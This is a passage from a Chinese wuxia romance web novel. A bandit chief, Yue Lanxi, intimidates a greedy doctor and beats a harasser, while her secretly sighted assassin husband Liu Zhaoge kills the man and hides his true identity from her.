得,枪不仅要自己拿回去,还要多背一个人回去。
越兰溪叹口气。
禹州城最繁华地带的一僻静院子处。
“寨主。”管家是个阔面脸,腮边一圈胡子让他看上去已过四十,实则才三十有二。
他许久未见越兰溪,笑吟吟地赶快迎上来。
“这是,新姑爷?”他瞧见她背上的生得一副好皮囊的男子,心下有了思量。
“嗯,请个大夫来。”
此处是越兰溪的私宅,平时没回山寨,夜间就宿在此处。
宅院规制适中,一进朱漆大门,便是方青砖铺就的庭院,两侧两颗老柏,枝桠斜逸遮了半壁天光。院心设有一方青石圆桌,翘脚凿了小池,养着几尾锦鲤。
正屋坐北朝南,三间明房敞亮通透,两侧各一间耳房。
东厢房挨着正屋,雕花拔步床悬着素色软罗烟帐,半掩半敞。天光透过窗棂撒了满屋,落在铺着云纹锦褥上。
柳棹歌静静躺在床榻上,鼻息轻浅,唇线清俊却毫无血色,唯有刚才被掐过的脖颈显得格外红艳,与苍白的肤色形成刺目的对比。
“他怎么回事,怎么就晕了?”越兰溪坐在窗棂下方的圈椅上,神情有些不解。
“这位公子应该中毒已久且有外伤在身又未及时处理,突遭刺激,气血攻心才晕过去的。”大夫收回搭脉的手,起身作揖回道。
“......”
越兰溪摸摸鼻子,好像是未给他治病解毒,主要是他表现得像个没事儿人一样,她还以为他已经好了。
“还有得治吗?”
要是没得治了,那还真有些可惜。
大夫连连点头:“不难不难,只需七个疗程就可痊愈。”
“治吧治吧。”越兰溪随意挥手。
大夫却有些迟疑,支支吾吾的。
“有话就说!”越兰溪性子本就急,最烦这种半天憋不出个屁的人。
“诊金三金,这只是初期的。”
“什么!?你用的是什么神仙用的药吗。”越兰溪瞪大双眼。
大夫却从药箱中翻找出小算盘,指尖飞快拨动,算珠噼啪作响间,一双三角眼直勾勾盯着越兰溪身上的锦缎衣料和腰间玉佩,语速飞快。
“七个疗程,前两个疗程得用天山雪莲、深海珍珠磨粉调药,单这两味药材就金贵得很,每个疗程收你三金不为过;中间三个疗程要加百年老参吊气,还得配我独家秘制的凝神丹,这丹丸一颗抵得上寻常人家半年用度,每个疗程得加五两;最后两个疗程是巩固,得用玉泉水煎药,再请专人日夜看护煎制,每个疗程也得四两。”
他顿了顿,算盘又“噼里啪啦”响了一阵,抬眼时脸上堆着假笑:“合计二十五两纹银。姑娘看着就是富贵人家,这点银子想必不在话下,能根治顽疾才是要紧事嘛!”
说罢还搓了搓手,生怕越兰溪讨价还价,又补了句:“这药材都是我托人千里迢迢寻来的,就这价,换别家还未必有这本事配呢!”
越兰溪坐在圈椅上单手扶额,气笑了,没想到她居然会遇到黑心大夫,居然有人敢坑她越兰溪!
她站起来,步步逼近大夫,眼瞧着不过是一个不过三十岁的男子,却有这么大的能耐。
越兰溪一把按住还在被拨弄着发响的白玉算盘,嘴角勾起一抹讥讽,指节微微用力:“天山雪莲、珍珠粉,听起来好像真的很少见啊。”
大夫还未察觉危险,眼睛里全是对钱袋子马上变得鼓鼓囊囊的期待,眼角眉梢都挤成褶了。
越兰溪单脚勾起立在墙壁上的长枪,“咣”一声将长枪垂直立与身侧,枪尖指天。
她眼神凌冽,目光如炬锁定大夫的位置:“讹人讹到你姑奶奶我头上了,找死!”
越兰溪手腕轻旋,行云流水间,枪尖已经指向大夫的胸膛。
“你......你是,越兰溪。”大夫虽没看过,但是也听说过越兰溪一把长枪挑万人的事迹。
浑身都开始哆嗦,说话都不利索了。话说到她是越兰溪时,已经破音不成声线。
他双眼挤成斗鸡眼,小心垂眼打量着枪尖与自己的距离,下巴滴落的冷汗砸在枪面。
“还要多少钱。”越兰溪小臂绷直,又将长枪一送,这次离大夫衣衫距离不过一毫。
大夫此时才是真的跪了,双腿发软,“咚”的一声跪在地板上,膝盖重重磕在地板上,疼得他呲牙咧嘴却顾不上揉,脑袋像捣蒜一样不停地叩首:“姑奶奶饶命,姑奶奶饶命啊!”
他声音抖得不成样子,先前的算计没了踪影,只剩下不停地求饶。
“多久能治好?”
如果说刚才的越兰溪是他的钱袋子,那现在的越兰溪就是从阴曹地府爬上来的黑白无常,来索他命的。
他立马抬起头:“今天,今天一定治好。”
“诊金多少?”
大夫立马抬起头,脸上的眼泪鼻涕还没擦干,却硬生生挤出一副谄媚到极致的笑容:“不收!坚决不收!”
他膝行两步,嘴里的马屁像连珠炮似的往外蹦:“能为寨主您做事,那是小的三生有幸、八辈子修来的福分!寨主您统领三城,威名远扬,上能震慑宵小,下能庇护百姓,三城的男女老少谁不感念您的恩德?哪家不是因为有您在,才能安居乐业、夜不闭户?”
他越说越起劲:“小的能为您略尽绵薄之力,那是祖坟冒青烟了!别说诊金,就算让小的赴汤蹈火,小的也心甘情愿!您这般顶天立地的女中豪杰,心怀天下,体恤万民,小的要是敢收您一文钱,那岂不是猪狗不如,要遭天打雷劈的?”
语气连贯,口若悬河,不去说书真是可惜了。
“好了。”
越兰溪揉揉耳朵,打断他:“今天之内治不好,我让你将头拴在裤腰上立着出去。”
“是是是。”
“寨主,越星送来的密报。”管家推门进来,将密信拆开呈给越兰溪,边拆边简述信中内容。
“京城确是有一个柳家,当家人年仅二十,父母前年双亡,家中无人,容貌昳丽,做着布匹行当。听闻西域有别样的绫罗绸缎,于一月前动身,至此了无音讯。”
越兰溪思忖,漆雾山确实是去往西域的必经之路,一月前动身,京城距此一千里,也就是大约半月前会途经漆雾山,而她救柳棹歌正好是在半月前。
都能对上。
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越兰溪心中却纳闷,那他在巷子里为什么要骗他呢?谁要杀他?
这些谜底只有等着柳棹歌醒了之后才能有答案。
这一等就接近子时了,大夫才颤颤巍巍地推开房门,擦擦满额头的汗,声音也虚弱得不行:“回禀寨主,病人的毒已解,这是药房,他的身体还需好好调理。”
“那他眼睛呢?”
“身上毒解之后,眼睛也会慢慢恢复的。”
越兰溪这才露出满意的笑容:“送大夫出府,务必要将大夫安全送到家中,到时可能还要多多叨扰大夫了。”
“请。”
大夫跟着下人出了府,一个踉跄差点跪在府门前,欲哭无泪。以为是个好差事,没想到差点把自己小命给搭进去。
床榻上的人却好似陷入梦魇,状似惊恐,满头大汗,像是想要挣扎出来却不得其道。
“你的命是陛下给的,除了陛下,没有人会接受你,没有地方会接纳你。”
小小的人儿跪在冰天雪地里,身上是被鞭子抽烂了的单薄衣裳,脸上血色全无却咬着牙继续接受惩罚。
情景一转,是一间暗房,四四方方的屋子,门一关上,屋子黑得不见五指,就像一个密不透风的棺材,让人窒息。
小少年被猛地推进屋子,凭借对室内陈设的熟悉,精准地走向挨着床尾的墙壁,那处墙壁上的一处小小孔道是整间屋子唯一有风吹进来的地方。
他满身血迹,坐在挨着孔道的地上,贪婪地享受没有血腥味的空气。
又一日,日上三竿。
越兰溪自有记忆起,睡姿就不太好,无论多大的床,第二日都能在床榻下醒来,因此,在她的床榻下,会铺上柔软的地毯,就算滚下去,也可以就地将就一晚。
又睡足睡饱了一日,睡眼惺忪的越兰溪迷糊地睁开双眼,想要重新爬回床上,却隐隐约约看见塌边坐着一人,她一个激灵,立马就清醒了。
定睛一看,是柳棹歌。
他今日换了一种穿着风格,一袭鸦青色暗纹长袍,腰间束着同色玉带,袖口收紧,绣着银线寒纹,没有用丝绸遮住双眼,精致出众的五官与衣裳相辉映,浑然天成,自成风骨。
越兰溪没出息地看出了神,片刻才反应过来,干咳一声,严肃道:“谁允许你进来的,出去!”
“寨主,我们是夫妻。”柳棹歌今日气色带着一丝疲态,但丝毫不影响他的容貌,反而增加了几分松散之意,说话时语气柔和,恰似春风拂过,让人如沐暖意。
他看起来像是忘记了昨天的事情一样。
越兰溪气盛:“夫妻?父子都没用。你还没有解释昨日的事情,你以为我会这么容易放过你?”
其实越兰溪已经不怀疑柳棹歌的身份了,毕竟她的暗线情报是很可靠的,但是就是咽不下那口气。
“可是你救了我。”
越兰溪气哽:“出去。”
见柳棹歌恍若未闻,越兰溪提高声量:“出去,我要换衣服。”
“寨主,我们是夫妻,更何况,我也看不见。”说这句话时,柳棹歌脸上毫无不自然之色,全是理所当然。
越兰溪狐疑地看向柳棹歌,怎么感觉柳棹歌今日有些不对劲呢?
她从衣箱中拿出要换的衣物,走到屏风后。虽然他看不见,但是也不能真的在他面前换衣裳。
屏风外,柳棹歌眸中藏着几分兴味,抬眼望向屏风后映出的人影。越兰溪动作利落,转瞬便换好了衣衫。
待她走出屏风的刹那,柳棹歌眼底的亮色悄然褪去,重又变回了那副双目无神的模样。
6. 黑风山寻宝物
菱形窗棂下,越兰溪正色用指头一下一下扣着桌面:“你的意思是,当时你在京城的仇家还知道你活着,专门雇人来找你寻仇?”
与越兰溪仅有一桌之隔的柳棹歌泫然欲泣,让人忍不住心生怜惜。
“还好我大声呼救,惊吓走了那贼人,寨主,你一定要帮我抓住那贼人啊。”
柳棹歌说得真情实感,步步诱导越兰溪。
谈及他的家业被恶贼霸占时的愤恨,自己受伤还被冤枉的酸楚,无不成为让越兰溪动容的理由。
她当即拍桌子,愤慨道:“来人,去给我查,近日出入禹州城的外来人的身份户籍。”
“是。”
正坐在木椅上的柳棹歌漫不经心摆弄衣袖,收回了刚才还是一副被欺负的假面,眼中反而满是对自己随意编排一出戏却达到满意效果的得逞。
*
今日是禹州城赶市,街头人潮涌动,热闹非凡。
越兰溪头戴幕篱,左手拿肉夹饼,右手拿糖人,身后跟着柳棹歌,他左手提长枪,右手拎着越兰溪沿街走到城门口看中的小玩意。
柳棹歌玄色瞳孔里印着越兰溪的背影,一身玄色窄袖劲装,腰间束着银扣黑皮腰封,衬得人身形挺拔利落。墨发高高束成马尾,银质发扣固定,行走时步履轻快稳健,衣袂翻飞间不见女子柔媚,反倒是少年般的硬挺洒脱。
一个没注意,她已经往人堆儿里扎。
公示栏前人挤人,后面的人努力掂高脚抻长脖子往里看,在前头的人直叫唤“别挤”。越兰溪仗着自己身形比这些大老爷们娇小,两下就从人逢中挤进最前面。
她嘴边叼着饼,仔细往榜上看,却发现自己不识字,挠挠头,扯过身旁穿着褂子,手臂肌肉发达,孔武有力的大汉:“大哥,这榜上说什么?”
“东边的黑风山中有一宝物,贴榜人赏金一百两黄金寻勇士前往黑风山寻找宝物。小姑娘就别凑热闹了。”
说话间,越兰溪已经撕下一份布告,瞬间引出人群喧哗。
“小姑娘就别凑热闹了,当心小命没了。”
“姑娘还是斟酌一下,此项任务的危险程度可不低啊。
最初还是一些友好的提醒,越兰溪没在意,没搭理。
“一个小娘们,装什么装,好好寻个人嫁了,比这行当安稳。”说话人神情猥琐,身形长条,看面相就是纵欲过度,命不久矣的感觉。
说话也满口喷粪,眼神上下打量越兰溪的身形:“不如来陪爷吧,也给你两百金,哈哈哈哈哈。”
“啊。”
不过眨眼间,说话之人穿过人群,被踢飞在大街上。
越兰溪收回腿,嫌弃地用手拂去触碰了烂人的靴子上的肮胀。
看热闹的人也不说话了,安静如鸡,震惊的眼神在男子和越兰溪身上来回切换。
越兰溪走过去,围着的百姓自动让开一条道。她一脚踩在男子的胸膛上,不收一丝力众人只听见一声令人牙酸的骨裂声和男子的哀嚎声。
“你身下的那玩意儿不想要了,我可以帮你割下来喂狗。”
围在周围的百姓只能从被风掀起的一角中隐隐约约看见越兰溪脸色冷漠,边说话,脚下边用力辗转碾压。
听着清脆的骨裂声,应是肋骨断裂,男子嘴角溢出鲜血,整个人痛到身体扭曲,面目狰狞。
直到他们听见她脚下男子虚弱的求饶声,越兰溪这才收脚,拉了一下柳棹歌的衣袖:“走。”
“好。”
柳棹歌温顺地跟在越兰溪身后,只是眼角斜向躺在地上骂天骂地的男子,眼神凌厉。
“走啊。”越兰溪往前走得越来越远,终于想起柳棹歌这个人时,他已经离她好远了,无奈,越兰溪只能折返回去,牵住柳棹歌的手,嘴里嘟嘟囔囔。
“真麻烦,下次还是不带你出来了。”
柳棹歌指甲轻颤,想回握住越兰溪手的那一刻,又止住动作。
他早已收回狠辣的眼神,在越兰溪转身的那一刻就已经恢复一个盲人该有的神情。
手中传来独属于女子的温度与细腻,好似有一根丝线,牵动他全身上下,睫羽、手指连着心府都颤了颤。
他抬眸望向越兰溪,少女英气的脸庞,锋利的下颌线,高挺的鼻梁,秀气的嘴巴。柳棹歌前所未有的乱了心跳。
这是他第一次感受活人的手。
他们的马车太过招摇,一直停在城郊一处空地,马夫在哪里一直等着。
刚上了马车的越兰溪“唉呀”一声:“我忘了将书房里的话本带走。”
她痛心疾首拍拍胸脯,那可是质量上佳的话本啊,她特意让人从冬夏带回来的,据说上面还有根据情景画的小人图。
可是她又不太想回去,都已经上马车了,总不可能再走这么远的路回去拿话本吧。
她转念又一想,可是如果让人送到山寨中,她就只有明日才能看到她心心念念的话本了。
脑海中的两个小人在打架,甚是纠结。
柳棹歌就这样默默地坐在左侧,瞧着越兰溪丰富多彩的表情转换。
人这么可以有这么多丰富多彩的表情啊,柳棹歌觉着好笑。
最后,轻轻说一句:“我替寨主回去拿吧。”
如他所愿,他果然瞧见越兰溪的小鹿眼睛亮了一下,转瞬间又暗下去了,小声道:“你是瞎子,只能等明天再看了。”
柳棹歌轻柔一笑:“寨主可曾见我似旁的瞎子一般乱窜不认路?”
是的,他虽然眼盲,但从未见他磕到或者撞到过什么东西,只需给他大概说一下位置或者听声就能辨别方向。
越兰溪也曾好奇过,在房内还特意用绸带遮住自己的眼睛试着走路,但显而易见的,她走一路,物件儿也倒了一路。
这一点,她很深深地佩服柳棹歌。
“那好吧,我在这里等你。”
其实,凭借她的轻功,来回这一趟路不过一两炷香的时间,但是越兰溪自来是个会享福的主。
说完,便躺在马车的绣花软垫上开始睡大觉。
柳棹歌缓步下了马车,不急不缓地望城内走去,动作轻盈,好似步步生莲。
“啧,美人走路都这么好看。”越兰溪单手倚在窗上,感叹道。
又走回了告示栏处,柳棹歌询问对面的摊主:“可有看到刚才被人打倒在地上的那位男子?”
他说话时总是噙着一抹浅淡笑意,眼尾微扬带着暖意。
卖米糕的女摊主被他的样貌给惊住了,怔怔地盯着柳棹歌说:“被人抬去王氏医馆了。”
“多谢。”
被风带走的一声道谢让摊主回过神来,此时的柳棹歌早已走远。
柳棹歌笑出声,不自觉摸上自己的这张面皮。
他以前有很长一段时间都很厌恶他这张脸。现在,至少越兰溪是很喜欢他这张脸的。
他找到王氏医馆,正巧碰见那猥琐男子被人从医馆里抬出来,嘴里还骂着一些令人不堪入耳的话。
两医馆学徒抬着箯舆送他回家,路过一僻静处时,却看见一男子挡住了他们的必经之路。
此处临河,隐约还能听见河水拍击岸边的滔滔声。
站在半壁残墙下的男子一袭鸦青色长袍,乌发随意用一根木簪挽住,脸上是病态的白,日光打在他脸上,好似从地狱爬出来索命的鬼。
他把玩手中的匕首,刀锋反射出的光恰巧落在男子的脖颈处,这把刀刚买的,还没见过血呢。
明明初夏时节,却透出不可擦觉得寒意。
他随意瞥了一眼那猥琐男子,舔舔嘴角,信步踏过沙砾尘土。
“你是谁?”抬箯舆的两位医馆学徒握着舆杆的手收紧。
柳棹歌沉默的盯着两位小学徒,强装镇定的模样让他心情畅快,眼底的笑意分明:“不想死的可以走。”
随着他的话落地,一束寒光闪过在前面抬着箯舆学徒的眼睛,额边发被风扬起,还没反应过来那躺在箯舆上的猥琐男子哀叫出声。
原本应该在柳棹歌手上的匕首,如今正中男子的大腿根上三寸。
“啊——”两位小学徒哪里见
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过这种场面,俱被吓破了胆,扔下舆杆头也不回地往外跑,生怕慢了一步,自己的小命就没了。
“好汉饶命,我知道错了,饶命饶命啊。”男子此时已经被吓尿了,淅淅沥沥地流了满地,空气中散发着一股尿骚味,他已经顾不上自己腿上的伤了,只想要活下去。
柳棹歌往前迈步,欺近男子,欣赏着男子恐慌。
明明前一刻还是清冷公子,现在宛如一只恶魔,一把抽出男子大腿上的匕首,眼底满是看见久违的鲜血的快感。
他用染了血的刀背一下一下拍着男子的脸,不知是在说给男子听还是说给自己听:“我这样的人是不是很可怕?”
“我最近过得很开心。首领曾经和我说杀人才是最开心的,我以前是这样认为的,但是现在不是,我发现了比杀人还令人愉快的事情。”
不知想到了什么,柳棹歌笑出了声,像是自九天而来的仙子,圣洁神圣,如果忽略他的行为。
“虽然寨主已经惩罚过你,但是我觉得不够。”他撇起眉头。
“你这种人,就不应该活着,凭白让这座城池徒增了肮脏。”
话音刚落,男子已经息气,脖颈血迸发而出,溅起的血弄脏了柳棹歌的脸和衣服。
他死不瞑目,眼睛里还倒映着柳棹歌双眼带笑,却有些嗔怪的模样,苦恼道:“弄脏了,这可怎么办啊?”
河水清澈,映出一俊秀男子的模样。
柳棹歌坐在河边礁石上,对着澄澈的河面擦脸束发。
整个河面都静悄悄的,没有一丝波澜。
初夏的柳枝繁茂翠绿,柔软飘逸的柳枝轻点柳棹歌的肩膀,他含笑轻抚开肩头的柳枝。
走出巷口,小女孩扎着朝天辫,手中拿着小风车在街市上奔跑,脸上洋溢着纯粹灿烂的笑容。
应是玩得太开心,没有瞧见从巷角拐出来的柳棹歌,一个没注意就撞了上去,被弹回坐在地上。
柳棹歌蹲下身扶起小女孩,拍去她身上的灰尘,声音极轻道:“下次要看路啊。”
说完,便头也不回的走了,留下小女孩一个人愣愣地站在原地看着他身姿飘逸的背影。
日昳时刻。
柳棹歌重返城郊马车旁,左手提着一扎书,右手多了一根看起来平平无奇的盲杖。
越兰溪狐疑:“你从哪里弄来的这跟棍子?”
“我托管家帮我买了一根盲杖。”
越兰溪并不疑心,反而抱着书心兴致饽饽开始翻阅起。
车轮滚滚,马车扬起一路的尘土。
“这不是我们来时的路?”柳棹歌听了一路的笑声,不知话本中画了些什么,逗得越兰溪时而抿嘴笑,时而捧腹大笑。
越兰溪啃着指甲,目不转睛盯着话本,随意道:“对呀,山崖那处机关太繁琐,平时都不走那处。”
看起话本,越兰溪就没完没了地投入进去了,丝毫没有注意到柳棹歌赤裸裸的眼神。
可以说她对柳棹歌已经没有那么重的戒心了。
橙黄的暖光透过车窗落在越兰溪身上,她坐在软毯上,左手持书,右手拿糕点,笑得不亦乐乎,还不忘将桌上的糕点盘递到柳棹歌手旁:“你也吃。”
他敛了笑,垂眼看着精致的牡丹花样的糕点,不经意间问道:“寨主为何还要揭下那张布告?”
“赚钱啊。”
“寨主还需赚钱吗?”
一句反问不知点燃了她那根火苗,重重将书本放在桌子上,朗声道:“老顾。”
外面的马夫大声回应道:“寨主你说。”
“你的工钱一月多少?”
外面的老顾大声笑道:“寨主待我们极好,就来我这马夫一月也有一千五百钱。”
一千五百钱,也快赶上耆长的俸禄了。
越兰溪两手一摊:“听着没?我这上有老下有小。”
说完,往地上一瘫,拿起书继续读小人话本:“我呀,平时就去劫劫镖,抢点劫,要是有赏金高的任务,我也会去,毕竟去一次就能得个好几百金,有钱不赚是傻子。”
7. 更衣
这样一瘫下去,她整个人就团在柳棹歌脚边。
平日里看起来张牙舞爪、威风凛凛的山大王,也就这么小小一个,躺下来还不及马车长。
“寨主回来啦!寨主回来啦!”
马车从一静谧小路穿行而过,直达山寨。
那处静谧小路十分特殊,起初他们在一片桃花林中转悠几圈,后又直行进入深山,即将抵达毒瘴林时,又右转不知锦进入何处诡异山林,兜兜转转间竟畅通无阻直达山寨。
越兰溪言笑宴宴,站在马车上,提着一大箱小物件,豪气万丈道:“人人有份!”
柳棹歌站在不近不远处,手持盲杖,抬眼仰望少女,迎着光,连身影都泛着暖光。
“都排好队,每个人都有。”
“小全,来,你的。”
“小妮,你的宝剑。”
“谢谢寨主。”
“不谢不谢。”
柳棹歌没有感受过正常人的生活,连常人最平常的情感都不曾拥有过,他之前时常出入皇宫以及京城最繁华的地带,见过金银玉石无数,天下奇品勾不起他一点兴趣。
从小被首领教导,世间俱是无用之物,不要贪恋外界的诱惑,想要将他打造成一个断情绝爱的、专为皇家斩除不受控制之人。
他誓死衷心于皇帝,效忠于大晋,手上不知沾染了人的血。
错过花开、不曾见过日落,他的摄政王名头只是一个摆设,实际上他夜间出行,每每执行完任务,即可被人送回那个不见五指的暗房。
眼前这一幕是他二十年以来,从未想象过的场景,从未感受过的生活。
“兰溪!”
蒋小乙从人群中冲出来,装作不经意撞了一下柳棹歌的肩膀,兴冲冲地冲向越兰溪。
“可有我的份儿。”
“有。”
蒋小乙的眨着亮晶晶的眼睛。
“我的书,送你了。”越兰溪将刚在马车上看完的话本递给蒋小乙。
他的脸一下就垮下来了,瘪起嘴委屈告状:“你不在,顾九方老是欺负我,还有陈阿娇,她......”
“蒋小乙!”
一道听了让人发酥的女声让蒋小乙要告状的动作止住,僵硬转头讪笑:“阿......阿娇啊,今日又变漂亮了啊。啊——”
带着香风的巴掌已经落到了蒋小乙的身上。
陈阿娇是一个无论是从长相还是穿着上都极其妩媚的女子,低胸襦裙,肩头只用一层纱罩住,走起路来摇曳生姿,时不时还会拽一下腕处挂着的披纱,指甲上染着和越兰溪相同的凤仙花汁红指甲,衬得整双手肤白无暇。
蛮横地赏了蒋小乙一巴掌后,秒变回婀娜多姿的女子模样,软倒在越兰溪怀中,双手挂住越兰溪的脖颈,呵气如兰:“寨主可是让我好等啊,今日可要尝试一下我的新方子?”
陈阿娇是越兰溪从杜城救回来的,当时她是一舞姬,舞姬本没有陪客的义务,可是那日一位香客偏偏看中了她,指名道姓要当时的陈阿娇到他房中。
陈阿娇不肯,被妈妈责打,要拖到河中淹死。
当时越兰溪被蒋小乙拉着到了花楼中赏舞,恰巧看到此场景,她和蒋小乙就大闹了那家花楼,还带回了其余女子,养在后院中,平时赏花弹琴、女工纺织不落。
她从没约束这些女子的穿着,她有钱,养得起她后院这些美人的胭脂水粉、四季衣衫更换。
被陈阿娇的手指挑起下吧的越兰溪揽住她的腰:“好啊。”
她和她那些姐妹喜欢搞一些女子用的胭脂或者润肤的,越兰溪就是她们最好的实验品。
柳棹歌远远瞧着,盯住勾住越兰溪下巴的那只手,眼底是意味不明的阴暗。
*
“寨主回来了?”平淡中带着点幽怨。
此时不说已是戌时二刻,就说柳棹歌为何会出现在她的房中?
越兰溪被他冷不丁的发声吓了一跳,不知为何,她有些心虚。
可能是柳棹歌的做派太像等待夫君一夜未归后有些怨气的正室。
“你怎么在这?”
柳棹歌早已换上一身干净的中衣,散着乌发,端坐在她床边,眼眸中盛满笑意。
他抬眸看向她,烛火幽幽,越兰溪居然诡异地觉得柳棹歌的眼睛亮得不可思议,牢牢盯住她。
他活像是勾人的妖精,摆出一副任人采颉的勾人姿态,循循善诱道:“寨主,山下的夫妻成亲之后都是睡在一处的。”
越兰溪迟疑了,她也不太确定。
迷惑间,柳棹歌已经款款踱步而来,扯开越兰溪腰间的腰封:“我来帮寨主更衣吧。”
烛光下,气氛暧昧,室内幽香四起.
要不是夜里太黑,准能一眼就看出越兰溪眼底的慌乱,心狂跳不止,像是要挣脱胸膛的束缚。
越兰溪自认自己身长算高的,但是在柳棹歌的对比下,她只到喉颈处的身量便不够看了。
随着她整个人被柳棹歌笼罩住,围绕在越兰溪鼻端的属于柳棹歌的气息越来越浓烈。
她不自在地侧过头去,默默鼻头,她不能做出比柳棹歌见识短的样子,笑话,她可是一寨之主!
柳棹歌垂眸,好笑地观察着越兰溪的每个小表情,每当他碰上她时,越兰溪总是神色紧绷、呼吸停滞,随着他动作停止,她又松口气。
他动作很慢,慢到越兰溪觉得都要天亮了都还没脱完一件外衫,念及他是个瞎子,又不好开口催他,只能鼓起嘴巴屏住呼吸。
外衣刚被柳棹歌脱到一半,外面就传来蒋小乙的叫喊。
“柳棹歌,你给我出来!”
“柳棹歌!”
蒋小乙"啪啪"拍柳棹歌的房门。
柳棹歌的屋子在越兰溪对面,就隔一个庭院。
没等到自己眼前的房门打开,却听见身后越兰溪的房门被打开,蒋小乙背影有些僵硬,别是吵醒了越兰溪吧,她可不是好惹的。
蒋小乙慢慢转过身去,正想向越兰溪赔罪,却看见柳棹歌从越兰溪房间出来。
“蒋兄找我何事?”
蒋小乙完全愣住了,要知道,从来没有人在越兰溪房中过夜,就连陈阿娇也未曾。
“你......你为什么从越兰溪房中出来?”蒋小乙气冲冲地冲上去,捏住拳头就往柳棹歌脸上挥去。
柳棹歌站定在远处,不躲不闪,嘴角始终挂着那抹笑意。
拳风挥过,却并未落在他脸上。
有些在意料之外,柳棹歌弯弯眼角。
“蒋小乙,你半夜发什么疯。”越兰溪甩开蒋小乙的手,质问道。
越兰溪穿着外衣,半脱未脱,蒋小乙双眼瞪大都快要被气疯了:“他为什么在你房中?还有这次出门,你为什么不带我,要带他去?”
他说的是此次越兰溪揭下的布告,却要带一个瞎子出任务。
自从蒋小乙来了,越兰溪再未带过旁人出去,这次偏偏要带个花架子出去,还是个来路不明的人。
他眼中的怒火都要喷出来了,恶狠狠地望着站在一旁享受越兰溪维护的柳棹歌,如果眼神可以杀人,那柳棹歌已经被蒋小乙眼中的怒火烧死了。
“就为这事?”越兰溪不可思议。
“对。就为这事。”蒋小乙犟起头颅,顶嘴道。
越兰溪气笑了,扶着门框闭目深呼吸,随后带着假笑叫他的名字。
蒋小乙还未意识到事情的严重性,大声应答。
眼皮还没来得及抬起,若雷电般的拳脚像雨滴一样落在蒋小乙身上。
“我想带谁去带谁去,要你多说话?你要
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是皮子痒,让顾九方送你到练武场练上几天,还敢质问上我了。”
一顿拳打脚踢,将蒋小乙驱逐出院子,整座院子,三十五位看客,俱支起窗户,趴在窗沿上看热闹。
蒋小乙抱头逃窜,一边指着看热闹的人骂:“看什么看?好看吗?”
顿时院中纷纷回应他:“好看。”
这样闹一通,已是子时,精疲力尽的越兰溪躺在床上对柳棹歌说:“明日你随我一起出发,好了,你也回房睡吧,我困了。”
柳棹歌眼底闪过一丝精光,拉上房门时,越兰溪已经呼呼大睡了。
*
京城繁华,无人不向往。
越过一道又一道朱红色宫墙,青石地板规整划一。
晨光透过文华殿的菱花窗,在青砖上投下细碎的光影,殿外的檐角风铃轻响。
王公公敛起袍角,小碎步从文华殿白玉台阶一步步往上,走进殿内,每一步都踩在金砖缝隙的阴影里。他这才停下脚步,垂首躬身,双手交叠于前,连呼吸都放轻。
“陛下。”
御案后,承启帝一身明黄常服,几缕银丝怎么也藏不住,手中握着狼毫笔,正低头批阅奏折,偶尔抬手翻页时动作利落。
“蒋大将军。”
蒋魏明坐在御案的侧前方,斜眼看他,王公公身子弯得更低了。
“可是摄政王那边有什么消息了?”
承启帝面带急切,放下狼毫笔问道。
看起来像是个极为关心小辈生活情况的长辈。
“陛下,摄政王进入了那越贼的老巢,一切安好。”王公公跪在地上,眼中闪过尖锐,对柳棹歌的中毒受伤闭口不提。
“哈哈哈,裴昳倒是好有兴致,居然肯屈尊在一女贼身边。”承启帝朗声笑道。
“罢了,随他去吧,孩子大,心性也野了。”
说罢,又望向蒋魏明:“对了,行之可有下落?”
“禀皇上,未曾,犬子承陛下洪福,定会安然无恙。”
“从边境赶回,你也累了,回去歇息吧。”
蒋魏明抱拳:“是,臣告退。”
等到蒋魏明远去,承启帝抬眼,眼底的腥风血雨怎么也藏不住:“来人,去给我查裴昳,他要是不听话,杀了便可。”
*
“嬷嬷,我走了啊,你好好照顾自己。”
“寨主,这是药方,到了地方定要找大夫开药,嬷嬷不在身边一定要照顾好自己。”
王嬷嬷越说越伤心,虽然一年中会经历好几次离别,但还是心中还是满满的不舍。
苍老皮皱的手抚摸上越兰溪的脸颊,王嬷嬷眼中含泪:“平安回来,听见没?”,我的小寨主哦。
“好。”越兰溪眼波荡漾,手握上王嬷嬷的手,轻声回答道。
马车已经在边上从卯时一直等到巳时,还没有成功出发。
车里都快堆不下了,全是村民们送的。
“真不要了,放不下了。”
原本计划一辆马车轻装出行,不知不觉已经装了三辆车了。
越兰溪嘴巴都快说干了,才终于收完最后一份。
“溪儿。”顾九方处理公务姗姗来迟。
她一脸警惕,看向他空
落落的两只手,才松口气,惹得顾九方发笑:“早去早回,一起过中秋。”
时下接近五月,距离中秋仅有三月,算算时间,也差不多,越兰溪扬起手拍了一下顾九方的肩膀:“好。”
“只是,这怎么不见蒋小乙呢?”
越兰溪又不好的感觉,总觉得这静悄悄的,要出什么事。
“可能伤心躲在房中吧。”顾九方摇摇头,蒋小乙完全就是小孩子心性。
“是吗?”越兰溪沉思摸着下巴,不知为何,眼皮跳得很。
8. 广陵城
沿着弯弯曲曲的山路,三辆马车缓慢地踏过泥路,迎着吹来的风,借着马车徐行的劲儿,将路边的野草压弯了腰。
转眼间,就日暮时分了,橘黄的天光转眼间就暗淡下去,
群鸟归巢,叽叽喳喳地在山林中转悠;小兔嘴巴一动一动的,好奇地躲在草丛中好奇地看着一辆接一辆的马车徐行过
越兰溪估摸着他们今日最多到山下,马车装的东西不仅多,还重,大大拉低了他们的速度。
这段官路应是年久未修,很少有人走这条路,因此路面中间多了许多碎石。
马夫虽小心避开大一些的碎石,但难免会有失误。一个不小心,后面那辆车的轮子卡住石头,车厢向左一歪,马夫熟练扯过缰绳,将马头一转,安然无恙避开此险。
“咚——”
虽车马行过声音很大,也掩盖不住这一声响,好似什么东西摔在地上。
“老顾,有东西掉了吗?”
扯着缰绳的老顾往后一看,确认没有遗落下任何东西,才大声喊:“寨主,没有东西落下,兴许是石头吧。”
越兰溪不在意,继续躺回去看书。
坐在侧边的柳棹歌闭目凝神,风通过车窗吹起他的乌发,今日他用的是一个月黄色发带草草地将头发束在脑后,雌雄莫辨的脸在光影的交织下忽明忽暗,更显神秘。
他听见了越兰溪和老顾的谈话,缓缓抬起眼皮,将手伸出车窗外,指尖一弹。
“啊!”
“吁——”
一声惨叫从车底传来,接着,响起一声重物坠地的钝响。
“谁?”
越兰溪立马警觉,抄起长枪掀开帘幕站在车辕上,风“哗哗”吹起她的披风。
柳棹歌泰然自若的继续闭目养神。
一道身影从第二辆车的车底钻出来。
越兰溪立马肃然,跳下去,枪尖直指不明贼人。
“兰溪!是我!”
这一声再迟一瞬,恐怕他小命就不保了。
蒋小乙灰头土脸的从车底爬出来,陪着笑脸小心地用指尖推开指着他眉间的枪尖。
